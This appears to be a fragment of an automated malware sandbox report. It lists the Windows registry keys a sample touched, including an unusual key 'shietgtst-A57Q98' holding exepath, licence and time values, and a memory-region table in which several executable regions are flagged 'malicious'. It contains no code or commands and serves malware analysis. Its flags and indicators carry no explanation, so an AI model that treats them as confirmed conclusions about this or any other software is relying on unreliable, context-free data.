HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans Typewriter
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans Unicode
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Magneto
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Maiandra GD
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Malgun Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mangal
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Marlett
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Matura MT Script Capitals
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Meiryo
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Meiryo UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Himalaya
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft JhengHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft New Tai Lue
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft PhagsPa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Sans Serif
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Tai Le
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Uighur
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft YaHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Yi Baiti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU_HKSCS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU_HKSCS-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Miriam
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Miriam Fixed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mistral
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Modern No. 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mongolian Baiti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Monotype Corsiva
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MoolBoran
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Mincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS PGothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS PMincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Reference Sans Serif
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Reference Specialty
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS UI Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MT Extra
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MV Boli
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Narkisim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Niagara Engraved
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Niagara Solid
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
NSimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Nyala
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
OCR A Extended
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Old English Text MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Onyx
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Palace Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Palatino Linotype
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Papyrus
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Parchment
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Perpetua
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Perpetua Titling MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Plantagenet Cherokee
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Playbill
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
PMingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
PMingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Poor Richard
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Pristina
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Raavi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rage Italic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Ravie
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell Extra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rod
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Sakkal Majalla
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Script MT Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe Print
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Semibold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Shonar Bangla
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Showcard Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Shruti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Simplified Arabic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Simplified Arabic Fixed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimSun-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Snap ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Stencil
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Sylfaen
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tahoma
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tempus Sans ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Times New Roman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Traditional Arabic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Trebuchet MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tunga
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT Condensed Extra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Utsaah
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vani
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Verdana
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vijaya
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Viner Hand ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vivaldi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vladimir Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vrinda
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Webdings
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wide Latin
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\Trusted Documents
LastPurgeTime
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
WORDFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Data
Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
MTTF
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
MTTA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
EquationEditorFilesIntl_1033
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
exepath
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
licence
HKEY_CURRENT_USER\Software\shietgtst-A57Q98
time
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
There are 445 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
3760000
trusted library allocation
page read and write
malicious
7895000
direct allocation
page execute and read and write
malicious
751000
heap
page read and write
malicious
400000
remote allocation
page execute and read and write
malicious
3329000
trusted library allocation
page read and write
malicious
A00000
trusted library allocation
page read and write
447E000
stack
page read and write
51EC000
heap
page read and write
430000
trusted library allocation
page read and write
2BCC000
stack
page read and write
43B0000
trusted library allocation
page read and write
B20000
trusted library allocation
page read and write
433C000
stack
page read and write
51E8000
heap
page read and write
6E95000
direct allocation
page execute and read and write
6050000
heap
page read and write
4D61000
heap
page read and write
2FEE000
stack
page read and write
41F000
system
page execute and read and write
2B12000
heap
page read and write
45DA000
stack
page read and write
A60000
trusted library allocation
page read and write
1FD0000
heap
page read and write
2C20000
heap
page read and write
524000
heap
page read and write
3EDF000
stack
page read and write
639E000
stack
page read and write
3701000
trusted library allocation
page read and write
401E000
stack
page read and write
2D6A000
heap
page read and write
10000
heap
page read and write
4D50000
heap
page read and write
10000
heap
page read and write
2B0F000
trusted library allocation
page read and write
330E000
stack
page read and write
282000
trusted library allocation
page read and write
533000
heap
page read and write
ED0000
trusted library allocation
page execute and read and write
4DD000
stack
page read and write
4C7D000
stack
page read and write
7B9000
heap
page read and write
4F40000
heap
page read and write
2B42000
heap
page read and write
2D52000
heap
page read and write
20000
heap
page read and write
48E000
heap
page read and write
524000
heap
page read and write
1D40000
heap
page read and write
2C7000
stack
page read and write
9DE000
stack
page read and write | page guard
10000
heap
page read and write
390000
heap
page read and write
5F9C000
stack
page read and write
D4E000
stack
page read and write
533000
heap
page read and write
670000
heap
page read and write
A80000
heap
page read and write
4396000
heap
page execute and read and write
3D9F000
stack
page read and write
30B1000
heap
page read and write
1050000
trusted library allocation
page read and write
22FB000
trusted library allocation
page read and write
456000
system
page execute and read and write
48C000
heap
page read and write
35EF000
stack
page read and write
28BE000
stack
page read and write
4DB000
heap
page read and write
490000
heap
page read and write
52C000
heap
page read and write
49D000
heap
page read and write
24BF000
stack
page read and write
4F3000
heap
page read and write
43D0000
heap
page read and write
50D000
heap
page read and write
410000
trusted library allocation
page read and write
377000
heap
page read and write
52C000
heap
page read and write
2D58000
heap
page read and write
4A1E000
stack
page read and write
4FE000
heap
page read and write
CF0000
trusted library allocation
page read and write
52C000
heap
page read and write
4D0E000
stack
page read and write
62EE000
stack
page read and write
2B3D000
heap
page read and write
26FE000
stack
page read and write
230F000
stack
page read and write
2D4B000
heap
page read and write
1C5000
trusted library allocation
page execute and read and write
930000
trusted library allocation
page read and write
3D8000
heap
page read and write
225E000
stack
page read and write
1D44000
heap
page read and write
2C3E000
heap
page read and write
A4C000
stack
page read and write
247000
heap
page read and write
25D000
stack
page read and write
316E000
stack
page read and write
2EC0000
trusted library allocation
page read and write
580000
heap
page read and write
2B9C000
heap
page read and write
279E000
stack
page read and write
44BC000
stack
page read and write
5E5D000
stack
page read and write
2CFB000
trusted library allocation
page read and write
3701000
trusted library allocation
page read and write
5E2E000
stack
page read and write
4DE000
heap
page read and write
2D77000
heap
page read and write
325F000
heap
page read and write
470000
heap
page read and write
5F4E000
stack
page read and write | page guard
77E000
stack
page read and write
469000
trusted library allocation
page read and write
123000
trusted library allocation
page execute and read and write
5E2E000
stack
page read and write
2C4C000
heap
page read and write
7C0000
heap
page read and write
51D8000
heap
page read and write
41BF000
stack
page read and write
3322000
trusted library allocation
page read and write
2F4000
heap
page read and write
354000
heap
page read and write
2C53000
heap
page read and write
2E2B000
heap
page read and write
43D0000
heap
page read and write
5D5E000
stack
page read and write | page guard
BB000
stack
page read and write
4DB000
heap
page read and write
2BAB000
heap
page read and write
52C000
heap
page read and write
1EB0000
heap
page read and write
210000
trusted library allocation
page read and write
2B1000
heap
page read and write
4F76000
heap
page read and write
4BE000
heap
page read and write
C50000
trusted library allocation
page read and write
2C40000
heap
page read and write
C6000
heap
page read and write
5EAE000
stack
page read and write
2D57000
heap
page read and write
860000
trusted library allocation
page read and write
2B25000
heap
page read and write
4B9000
heap
page read and write
2BB8000
heap
page read and write
3C4C000
stack
page read and write
6FA000
heap
page read and write
372000
heap
page read and write
29CB000
trusted library allocation
page read and write
288F000
stack
page read and write
390000
trusted library allocation
page read and write
27F000
trusted library allocation
page read and write
5FF0000
heap
page read and write
80E000
stack
page read and write
3220000
heap
page read and write
404000
heap
page read and write
5C0000
heap
page read and write
2740000
trusted library allocation
page read and write
2B46000
heap
page read and write
4DF000
heap
page read and write
4E8E000
stack
page read and write
32D0000
trusted library allocation
page read and write
269E000
stack
page read and write
2B5E000
heap
page read and write
CA0000
heap
page execute and read and write
4D78000
heap
page read and write
59E000
stack
page read and write
43B0000
trusted library allocation
page read and write
2A7B000
trusted library allocation
page read and write
425C000
stack
page read and write
C50000
heap
page read and write
155000
trusted library allocation
page execute and read and write
24CE000
stack
page read and write
65C000
stack
page read and write
280000
trusted library allocation
page read and write
2FAE000
stack
page read and write
1C7000
heap
page read and write
BE0000
heap
page execute and read and write
641C000
stack
page read and write
14A000
trusted library allocation
page execute and read and write
2D53000
heap
page read and write
37D000
stack
page read and write
646000
heap
page read and write
6FF000
heap
page read and write
3921000
heap
page read and write
19B000
trusted library allocation
page read and write
2D59000
heap
page read and write
16E000
heap
page read and write
400000
system
page execute and read and write
510000
heap
page read and write
5BAE000
stack
page read and write
590000
heap
page read and write
2C58000
heap
page read and write
106E000
stack
page read and write | page guard
2089000
heap
page read and write
2E2B000
heap
page read and write
4410000
trusted library allocation
page read and write
B30000
trusted library allocation
page execute and read and write
4BBF000
stack
page read and write
74C000
heap
page read and write
4AEE000
stack
page read and write
2EFE000
stack
page read and write
7D0000
heap
page read and write
63A0000
direct allocation
page execute and read and write
A00000
trusted library allocation
page read and write
43B0000
trusted library allocation
page read and write
4D7000
heap
page read and write
2BB5000
heap
page read and write
4EFD000
stack
page read and write
11D1000
trusted library allocation
page read and write
2BCE000
heap
page read and write
4CCE000
stack
page read and write
320000
heap
page read and write
5E90000
heap
page read and write
F30000
trusted library allocation
page read and write
5C82000
heap
page read and write
369D000
stack
page read and write
480000
trusted library allocation
page execute and read and write
5F4F000
stack
page read and write
120000
trusted library allocation
page read and write
130000
trusted library allocation
page read and write
180000
trusted library allocation
page read and write
2D40000
heap
page read and write
2A0000
heap
page read and write
FE0000
trusted library allocation
page read and write
4431000
heap
page read and write
2E74000
trusted library allocation
page read and write
50D000
heap
page read and write
37BE000
stack
page read and write
1084000
heap
page execute and read and write
F20000
trusted library allocation
page read and write
4BE000
heap
page read and write
2B49000
heap
page read and write
36BD000
heap
page read and write
1E4E000
stack
page read and write
2B8F000
stack
page read and write
4F99000
heap
page read and write
A50000
trusted library allocation
page read and write
319F000
stack
page read and write
190000
trusted library allocation
page read and write
655000
heap
page read and write
2D30000
heap
page read and write
A29000
heap
page read and write
400000
trusted library allocation
page read and write
91D1000
trusted library allocation
page read and write
535000
heap
page read and write
810000
heap
page read and write
6FD000
stack
page read and write
3AC000
stack
page read and write
355F000
stack
page read and write
467000
trusted library allocation
page read and write
73D000
heap
page read and write
97E000
stack
page read and write
490000
trusted library allocation
page read and write
4E90000
heap
page read and write
6150000
trusted library section
page read and write
2B0D000
heap
page read and write
2D4F000
heap
page read and write
36A0000
heap
page read and write
4BBE000
stack
page read and write | page guard
1060000
heap
page execute and read and write
459000
system
page execute and read and write
5C60000
heap
page read and write
21D000
stack
page read and write
5FBE000
stack
page read and write
2BF0000
heap
page read and write
2D4F000
heap
page read and write
491B000
stack
page read and write
48D000
heap
page read and write
A90000
heap
page execute and read and write
2DCD000
heap
page read and write
50EE000
stack
page read and write
244E000
stack
page read and write
4D6D000
heap
page read and write
9290000
trusted library allocation
page read and write
670000
heap
page read and write
47F000
heap
page read and write
E0000
trusted library allocation
page read and write
4DBD000
stack
page read and write
124E000
stack
page read and write
41C0000
trusted library allocation
page read and write
5084000
heap
page read and write
9FE000
stack
page read and write
15C000
stack
page read and write
A10000
trusted library allocation
page read and write
CE0000
trusted library allocation
page read and write
43B0000
trusted library allocation
page read and write
73D000
heap
page read and write
160000
trusted library section
page read and write
2C3D000
heap
page read and write
4FEB000
stack
page read and write
B8E000
stack
page read and write
502E000
stack
page read and write
890000
trusted library allocation
page read and write
4CE000
stack
page read and write
2C4B000
heap
page read and write
338E000
stack
page read and write
1ED2000
heap
page read and write
30A1000
heap
page read and write
49E0000
trusted library allocation
page read and write
5140000
heap
page read and write
305000
heap
page read and write
C5E000
stack
page read and write | page guard
1EEE000
stack
page read and write
2DBA000
heap
page read and write
450D000
stack
page read and write
5EB0000
heap
page read and write
F30000
heap
page read and write
417000
trusted library allocation
page read and write
160000
heap
page read and write
220000
heap
page read and write
4590000
trusted library allocation
page read and write
C0000
heap
page read and write
A70000
trusted library allocation
page read and write
45C000
system
page execute and read and write
4340000
trusted library allocation
page read and write
3B0C000
stack
page read and write
3EF0000
trusted library allocation
page read and write
AA0000
direct allocation
page read and write
4D2E000
stack
page read and write
9270000
trusted library allocation
page read and write
533000
heap
page read and write
39CE000
stack
page read and write
739000
heap
page read and write
1FD000
heap
page read and write
4FB2000
heap
page read and write
5D5F000
stack
page read and write
2351000
heap
page read and write
4380000
trusted library allocation
page read and write
2C5F000
heap
page read and write
43B0000
trusted library allocation
page read and write
A30000
trusted library allocation
page read and write
2A2000
heap
page read and write
B9E000
stack
page read and write
2B25000
heap
page read and write
480000
trusted library allocation
page read and write
5177000
heap
page read and write
6050000
heap
page read and write
8EE000
stack
page read and write
247C000
trusted library allocation
page read and write
2F4000
heap
page read and write
11D0000
trusted library allocation
page read and write
26000
heap
page read and write
4F12000
heap
page read and write
34AE000
stack
page read and write
4390000
heap
page execute and read and write
2060000
heap
page read and write
6FE000
heap
page read and write
4552000
trusted library allocation
page read and write
254E000
stack
page read and write
6730000
heap
page read and write
2A1000
heap
page read and write
10016000
direct allocation
page execute and read and write
2D0000
heap
page read and write
517000
heap
page read and write
110D000
stack
page read and write
5CE8000
stack
page read and write
31C1000
trusted library allocation
page read and write
9E0000
trusted library allocation
page read and write
BAE000
stack
page read and write
2D61000
heap
page read and write
4BF0000
heap
page read and write
2BC3000
heap
page read and write
11E0000
trusted library allocation
page read and write
10001000
direct allocation
page execute and read and write
3279000
heap
page read and write
219F000
stack
page read and write
5C5000
heap
page read and write
6F0000
heap
page read and write
2BA9000
heap
page read and write
2D66000
heap
page read and write
784000
heap
page read and write
1EB4000
heap
page read and write
30BE000
trusted library allocation
page read and write
4B8E000
stack
page read and write
2B49000
heap
page read and write
10000
heap
page read and write
4F0000
heap
page read and write
2EC6000
trusted library allocation
page read and write
45D000
system
page execute and read and write
C9D000
stack
page read and write
2B57000
heap
page read and write
C0000
trusted library section
page read and write
2A89000
trusted library allocation
page read and write
D0000
trusted library allocation
page read and write
4D3000
heap
page read and write
2C5F000
heap
page read and write
309E000
stack
page read and write
51D5000
heap
page read and write
2D4F000
heap
page read and write
1C0000
trusted library allocation
page read and write
D40000
heap
page read and write
377C000
trusted library allocation
page read and write
23BF000
stack
page read and write
3729000
trusted library allocation
page read and write
50B2000
heap
page read and write
258000
trusted library allocation
page read and write
337000
heap
page read and write
BD2000
trusted library allocation
page read and write
4B5F000
stack
page read and write
C9E000
stack
page read and write
4240000
trusted library allocation
page read and write
8C5000
heap
page read and write
478000
remote allocation
page execute and read and write
20000
heap
page read and write
2E2B000
heap
page read and write
50D000
heap
page read and write
200000
heap
page read and write
43B0000
trusted library allocation
page read and write
30AC000
heap
page read and write
2D69000
heap
page read and write
2AA000
heap
page read and write
7EF20000
trusted library allocation
page execute and read and write
376F000
stack
page read and write
2B78000
heap
page read and write
5D1E000
stack
page read and write
43B0000
trusted library allocation
page read and write
3DE000
stack
page read and write
4D44000
heap
page read and write
4CE000
heap
page read and write
516000
heap
page read and write
43B0000
trusted library allocation
page read and write
475000
heap
page read and write
2A9000
heap
page read and write
10C000
stack
page read and write
BD7000
trusted library allocation
page read and write
5F0000
heap
page read and write
4D40000
heap
page read and write
515000
heap
page read and write
2D57000
heap
page read and write
41CE000
stack
page read and write
21D000
heap
page read and write
5CD000
heap
page read and write
3C0D000
stack
page read and write
C00000
trusted library allocation
page read and write
F2E000
stack
page read and write
138000
heap
page read and write
24A8000
heap
page read and write
2DC1000
heap
page read and write
885000
heap
page read and write
737000
heap
page read and write
524000
heap
page read and write
2C5B000
heap
page read and write
597000
heap
page read and write
41D0000
trusted library allocation
page read and write
